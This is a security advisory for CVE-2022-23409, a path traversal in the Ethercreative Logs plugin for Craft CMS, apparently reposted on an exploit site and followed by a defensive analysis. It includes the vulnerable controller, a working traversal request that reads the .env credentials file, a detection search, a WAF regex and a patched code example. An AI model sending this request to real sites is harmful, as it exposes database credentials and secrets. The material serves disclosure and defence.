Ethercreative Logs 3.0.3 - Path Traversal

Exploit Author: ub3rsick Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-04-16
# Exploit Title: Ethercreative Logs 3.0.3 - Path Traversal
# Date: 2022.01.26
# Exploit Author: Steffen Rogge, SC
# Vendor Homepage: https://github.com/ethercreative/logs
# Software Link: https://plugins.craftcms.com/logs
# Version: <=3.0.3
# Tested on: Linux
# CVE : CVE-2022-23409

product: Ethercreative Logs plugin for Craft CMS
fixed version: >=3.0.4
impact: Medium
found: 2021-07-06
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"A quick and dirty way to access your logs from inside the CP"
As found on the plugin store page: https://plugins.craftcms.com/logs
Active Installs 4,093 (as of 2021-07-07)
Business recommendation:
------------------------
The vendor provides a patched version v3.0.4 which should be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Authenticated Path Traversal (CVE-2022-23409)
The plugin "Logs" provides a functionality to read log files of the Craft CMS system inside
the backend of the CMS. As the requested logfile is not properly validated, an attacker is
able to request arbitrary files from the underlying file system with the permissions of the
web service user.
Proof of concept:
-----------------
1) Authenticated Path Traversal (CVE-2022-23409)
As the plugin is installed as an administrator of the system and the function is only accessible
after being logged in as an admin, an attacker needs to be authenticated as an administrator in
the backend in order to extract the needed "{MD5}_identity" cookie for the crafted request.
The vulnerable endpoint is provided by the plugin under the following path:
https://vulnerablesite.com/index.php/admin/actions/logs/logs/stream
The vulnerable controller for that endpoint can be found here:
https://github.com/ethercreative/logs/blob/master/src/Controller.php
The function "actionStream()" provides an endpoint for the Craft CMS and does not validate input
values before file content is being read by the function "file_get_contents".
public function actionStream ()
{
$logsDir = \Craft::getAlias('@storage/logs');
$logFile = \Craft::$app->request->getParam('log');
$currentLog = \Craft::$app->request->get('log', $logFile);
$log = file_get_contents($logsDir . '/' . $currentLog);
exit($log);
}
A crafted GET parameter with the name "log" can be used to access files on the underlying filesystem
with rights as the user executing the web server. In most cases this will be the user "www-data".
In order to read the file ".env" or ".env.php" which contains the environment configuration and as
such also the database credentials, the following request can be used:
GET /admin/actions/logs/logs/stream?log=../../.env HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Cookie: 1031b8c41dfff97a311a7ac99863bdc5_identity=<identity_cookie>;
The response then discloses the file content of the file ".env":
HTTP/1.1 200 OK
Date: Thu, 07 Jul 2021 10:08:52 GMT
Server: nginx
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: CraftSessionId=2uisculfj8t9q1tnbiukl6ogjf; path=/; secure; HttpOnly
Content-Length: 1600
Connection: close
[...]
$craftEnvVars = [
'DB_DRIVER' => 'mysql',
'DB_SERVER' => '********',
'DB_USER' => '********',
'DB_PASSWORD' => '********',
'DB_DATABASE' => '********',
'DB_SCHEMA' => 'public',
'DB_TABLE_PREFIX' => '',
'DB_PORT' => '********',
'SECURITY_KEY' => '********',
[...]
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available at the time
of the test:
* Version 3.0.3 released on November 25, 2019
Distributed through the Craft Plugin Store https://plugins.craftcms.com/logs
Vendor contact timeline:
------------------------
2021-07-07: Contacting vendor through dev@ethercreative.co.uk
2021-07-08: Response from vendor, no encryption available but vendor accepted to be responsible
for any risks involved with plaintext communication
2021-07-08: Advisory was sent to vendor unencrypted
2021-07-09: Vendor released a patch for this vulnerability with version 3.0.4
(https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4)
2021-07-12: Updated Plugin has been tested on an up-to-date CraftCMS installation
(CraftCMS 3.7.0, PHP 8, MySQL 8, Logs Plugin 3.0.4)
2022-01-24: Release of security advisory
Solution:
---------
The vendor released a patched version 3.0.4 or higher which can be retrieved from their
website/github:
https://plugins.craftcms.com/logs
https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4
Workaround:
-----------
Uninstall/Disable the plugin and access the Craft CMS logs via SSH or other services.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Steffen Rogge / @2022


Ethercreative Logs 3.0.3 — Path Traversal (CVE-2022-23409)

This article examines a path traversal vulnerability in the Ethercreative "Logs" plugin for Craft CMS (versions ≤ 3.0.3), tracked as CVE-2022-23409. It explains the root cause, impact, detection approaches, and secure remediation. Practical examples and code-level remediation are included so defenders and maintainers can quickly mitigate risk and harden similar endpoints.

Quick facts

ProductEthercreative Logs plugin for Craft CMS
Affected versions≤ 3.0.3
Fixed version≥ 3.0.4
CVECVE-2022-23409
Attack vectorAuthenticated path traversal — arbitrary file read as webserver user
DiscoverySEC Consult Vulnerability Lab (found 2021-07-06)

Background

The Logs plugin provides a convenience interface in the Craft CMS control panel (CP) to read and stream server-side log files. A controller action exposed a parameter that was concatenated with the logs directory and then passed directly to file_get_contents() without adequate validation. This permitted directory traversal sequences (for example, "../") inside the value of the log parameter, allowing an authenticated admin to read arbitrary files accessible to the webserver user.

Vulnerability details (root cause)

The vulnerable code joined the storage/logs directory with an unvalidated user-supplied filename and read it directly. The absence of normalization and containment checks let attackers traverse outside the intended directory.

public function actionStream ()
{
    $logsDir = \Craft::getAlias('@storage/logs');
    $logFile = \Craft::$app->request->getParam('log');
    $currentLog = \Craft::$app->request->get('log', $logFile);
    $log = file_get_contents($logsDir . '/' . $currentLog);
    exit($log);
}

Explanation: The controller uses a request parameter "log" to select which file to stream. It simply concatenates the logs directory with that parameter and calls file_get_contents(). If an attacker supplies a value like "../../.env", the concatenated path points outside the intended directory and the file contents are returned.

Impact and risk

  • An authenticated user with CP access (administrator role typically required) could read arbitrary files readable by the webserver (commonly www-data or apache), including secrets such as .env, database credentials, configuration files, or SSH keys stored in web-accessible locations.
  • While the endpoint requires CMS authentication, stolen or weak admin credentials, or a pivoted admin session, makes exploitation feasible.
  • Confidentiality impact is high for systems with sensitive configuration files in the webroot or otherwise readable by the web user; integrity and availability are not directly impacted by this vulnerability alone.

Safe proof-of-concept (defensive/testing use only)

Only test on systems you own or have explicit authorization to test. The vulnerable endpoint is:

GET /index.php/admin/actions/logs/logs/stream?log=../../.env

Explanation: This demonstrates the parameter used for traversal. A successful response may include configuration values. Do not use this against third-party or production systems you are not authorized to test.

Detection and indicators

Look for requests to the plugin's stream action that include directory traversal patterns or unusual file reads. Typical signs to detect exploitation or scanning attempts include:

  • HTTP requests to /admin/actions/logs/logs/stream with query strings containing "../" or absolute paths.
  • Unexpected retrieval of files such as .env, composer.json, config.php, or other configuration artifacts returned by the endpoint.
  • Unusual CP activity from administrator sessions at odd hours or from suspicious IPs.
# Example Splunk-style search (adjust index/sourcetype to your environment)
index=web_access "/admin/actions/logs/logs/stream" OR (uri_query="*log=*")
| search uri_query="*..*"
| table _time, clientip, user, uri, uri_query

Explanation: The search looks for access to the stream endpoint and filters requests where the query parameter contains traversal sequences. Tune and test in your environment to avoid false positives.

# Simple regex you can use in WAF or IDS rules:
^/index\.php/admin/actions/logs/logs/stream(\?.*log=.*(\.\./|\.\.\\))

Explanation: This regex matches requests to the vulnerable endpoint containing "../" (forward or backward slashes) inside the "log" parameter. Use as a starting point for blocking or alerting rules in a WAF or IDS/IPS.

Remediation — recommended secure fixes

The vendor released a patch in version 3.0.4. The correct approach is to upgrade the plugin to ≥3.0.4 as soon as possible. If you cannot upgrade immediately, apply one or more of the following mitigations:

  • Disable or uninstall the Logs plugin until patched.
  • Restrict access to the Craft control panel to trusted IPs and enforce strong admin credentials and MFA.
  • Apply a WAF rule to block requests with directory traversal patterns against the endpoint.
  • Harden file permissions so that sensitive files are not readable by the webserver where feasible.

Secure code pattern (recommended)

Below is a secure approach to handle path arguments: normalize the base directory with realpath(), build the candidate path safely, then check containment (that the resolved path is inside the allowed base). Also validate the parameter against a whitelist pattern or allowed filenames if possible.

public function actionStream()
{
    // Resolve storage/logs to an absolute directory
    $logsDir = realpath(\Craft::getAlias('@storage/logs'));
    if ($logsDir === false) {
        throw new \yii\web\ServerErrorHttpException('Logs directory not available.');
    }

    // Get requested file name (no default accepted without validation)
    $requested = \Craft::$app->request->getParam('log');
    if (empty($requested)) {
        throw new \yii\web\BadRequestHttpException('Missing log parameter.');
    }

    // Basic disallow of null bytes and stream wrappers
    if (strpos($requested, "\0") !== false || preg_match('/^[a-zA-Z0-9_.\-\/]+$/', $requested) === 0) {
        throw new \yii\web\BadRequestHttpException('Invalid log parameter.');
    }

    // Build the absolute path and resolve it
    $candidate = realpath($logsDir . DIRECTORY_SEPARATOR . $requested);
    if ($candidate === false || strpos($candidate, $logsDir) !== 0) {
        throw new \yii\web\BadRequestHttpException('Requested file is outside allowed directory.');
    }

    // Optionally enforce a filename whitelist or depth limit here

    $contents = file_get_contents($candidate);
    exit($contents);
}

Explanation: This snippet does several things:

  • Uses realpath() on both the base logs directory and the constructed path to collapse ../ sequences and resolve symlinks.
  • Validates the requested parameter (no null bytes, restricted character set). Adjust the regex to match your expected filenames.
  • Checks that the resolved absolute path (candidate) starts with the logs directory path, preventing traversal beyond the intended directory.
  • Provides clear error responses instead of silently returning file contents.

Workarounds and immediate mitigations

  • Upgrade the plugin to 3.0.4 or newer — the vendor patch removes the vulnerability.
  • Temporarily disable the Logs plugin if you cannot immediately upgrade, and access logs via SSH or other secure channels.
  • Limit CP admin access via IP allowlists, VPN, or network segmentation.
  • Ensure sensitive configuration files are stored outside the webroot and have appropriate filesystem permissions.

For defenders: detection playbook

  • Search web server access logs for the stream endpoint and suspicious query parameters (../, %2e%2e, etc.).
  • Audit admin session logs and correlate to unusual file contents being returned by the CP (especially .env or config files).
  • Deploy WAF rules to block traversal patterns targeting the specific path and alert on attempts.
  • Scan your Craft sites for the plugin and ensure all instances are at 3.0.4 or later.

Vendor timeline and disclosure

SEC Consult reported the issue to the vendor in July 2021. The vendor released a patched version (3.0.4) shortly afterwards. Public advisory and CVE assignment followed in early 2022.

Conclusion and best practices

Path traversal remains a common class of vulnerability when untrusted input is used to select filesystem resources. The key lessons from CVE-2022-23409 are:

  • Never concatenate unvalidated user input directly into filesystem paths.
  • Always normalize (realpath) and verify that resolved paths are contained within an allowed base directory.
  • Prefer whitelisting allowed filenames or enumerating available files for selection rather than accepting arbitrary names.
  • Keep plugins and dependencies up to date; monitor vendor advisories and CVE feeds.

If you operate Craft CMS instances, inventory any installations using the Ethercreative Logs plugin and update immediately to version 3.0.4 or later. If you suspect your environment was exposed, rotate secrets that may have been read (database credentials, API keys) and perform an incident response review of admin sessions and access logs.